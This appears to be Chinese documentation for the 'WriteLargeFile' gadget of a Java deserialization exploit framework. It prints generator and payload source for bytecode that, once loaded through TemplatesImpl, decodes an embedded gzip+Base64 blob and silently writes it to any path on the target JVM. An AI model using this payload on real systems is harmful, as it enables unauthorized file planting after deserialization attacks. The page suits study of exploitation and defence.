Skip to content

Latest commit

 

History

History
109 lines (89 loc) · 6.1 KB

File metadata and controls

109 lines (89 loc) · 6.1 KB

写入大文件/二进制文件(WriteLargeFile)

  • 类别:bytecode 别名:— 优先级:20
  • 作者:Ar3h
  • 依赖:无第三方依赖(内部使用 FileHelper 的 gzip+Base64 与 Javassist)

作用

生成一段“字节码 payload”:其静态初始化块在目标 JVM 加载时,把内嵌的 gzip+Base64 数据解码还原为原始字节,用 FileOutputStream 落地到指定路径。相比 WriteFile,本 gadget 支持任意二进制文件大文件(内嵌前先 gzip 压缩,编码后大小上限 20MB)。是字节码类 sink(END)。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode —— 产出 byte[] 字节码,需由上游“字节码装载器” BytecodeConvert(其 nextTags 唯一含 Bytecode)承接,装入 TemplatesImpl 后在反序列化时触发类加载。
    • END —— 终点标签,nextTags 为空,本 gadget 是链尾 sink。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

gadget 本体负责把“文件内容”压缩编码后,以字符串常量的形式分片写进模板类的一个 getString() 方法里,再导出字节码:

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(WriteLargeFileBytecode.class);
    javassistHelper.modifyStringField("path", this.path);   // 目标写入路径烧进静态字段

    String content = null;
    if (this.b64 != null && !this.b64.isEmpty()) {          // 优先用 b64 参数(已是 gzip+base64 串)
        content = this.b64;
    } else if (this.path != null && !this.path.isEmpty()) { // 否则读取本地 file 并 gzip+base64
        content = FileHelper.compressFileToBase64(this.file);
    } else {
        ThrowsUtil.throwNotFoundOptionGadgetException("'b64' or 'path'");
    }

    int mb = 0x100000;                                      // 编码后 > 20MB 直接拒绝
    if (content.length() > mb * 20) {
        ThrowsUtil.throwGadgetException("the gzip and base64 encoded string size is "
            + content.length() / mb + " MB, over 20mb");
    }

    // 把长字符串按 2000 一段切开,逐段 sb.append(...) 拼回,规避常量池单字符串 64KB 上限
    StringBuilder methodBody = new StringBuilder();
    methodBody.append("{StringBuilder sb = new StringBuilder();\n");
    for (String s : FileHelper.cutString(content, 2000)) {
        methodBody.append("sb.append(\"" + s + "\");\n");
    }
    methodBody.append("return sb.toString();}");
    javassistHelper.addMethod("getString", methodBody.toString());  // 动态生成 getString()
    return javassistHelper.getBytecode();
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);
    return this.getObject();
}

真正的落地行为在模板类的静态初始化块与构造器中——被上游 TemplatesImpl.defineClass + newInstance 触发:

public class WriteLargeFileBytecode {
    public static String path;

    public String getString() { return "test"; }   // 生成侧被 addMethod 覆盖为真实数据

    public WriteLargeFileBytecode() {
        try (ByteArrayInputStream bais =
                 new ByteArrayInputStream(WriteLargeFileBytecode.Base64Decode(this.getString()));
             GZIPInputStream gzip = new GZIPInputStream(bais);           // 先 Base64 解码,再 gunzip
             FileOutputStream fos = new FileOutputStream(path)) {
            int len; byte[] buffer = new byte[1024];
            while ((len = gzip.read(buffer)) > 0) fos.write(buffer, 0, len);  // 还原原始二进制并落盘
        } catch (IOException e) { /* 静默 */ }
    }

    public static byte[] Base64Decode(String var0) {
        // 反射优先 java.util.Base64,回退 sun.misc.BASE64Decoder,兼容高低 JDK
        ...
    }

    static { new WriteLargeFileBytecode(); }  // 类加载即执行
}

要点:

  • 压缩链路:本地文件 → gzip → Base64 → 作为字符串常量嵌入类。执行侧逆向:Base64 解码 → GZIPInputStream 解压 → FileOutputStream 逐段写出,因此能忠实还原二进制,不会像 WriteFile 那样被 UTF-8 编码破坏。
  • 分片拼接cutString(content, 2000) 把长串切成 2000 字符的片段,用 StringBuilder.append 拼回,规避 Java 常量池中单个字符串常量的 64KB(UTF-8 编码字节)上限,这正是能承载“大文件”的关键。
  • Base64Decode 反射:优先 java.util.Base64(JDK 8+),失败回退 sun.misc.BASE64Decoder,兼容低版本 JDK。
  • 目标已存在会被 FileOutputStream 覆盖;异常静默。

参数(@Param)

字段 名称 说明 默认 可选值
b64 Base64 字符串 直接提供 gzip+Base64 编码后的二进制内容(与 file 二选一,优先)
file 读取本地文件路径 由 chains 端读取并做 gzip+Base64;b64 为空时使用
path 写入目标文件路径 目标 JVM 上落盘路径 output_test.txt

适用版本与原理要点

  • 无版本依赖,纯 JDK API(GZIPInputStream/FileOutputStream),JDK 7+ 可用;Base64 解码兼容 JDK 8+ 与更低版本。
  • 支持二进制与大文件,gzip+Base64 编码后总大小硬上限 20MB,超出会在生成阶段抛异常。
  • b64file 二选一,均空则报 NotFoundOptionGadgetException
  • 需上游具备“装入字节码并触发类初始化”的能力(TemplatesImpl 路线,通常要求目标 JDK < 17)。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可手动组合为 [..., BytecodeConvert, WriteLargeFile]

关联

  • 上游(承接本 Bytecode tag):BytecodeConvert —— 把本 gadget 产出的字节码装入 TemplatesImpl
  • 同族 sink(同为 Bytecode/END):WriteFile(纯文本、已 Deprecated)、WriteFileExec(写二进制并执行)、ExecSleep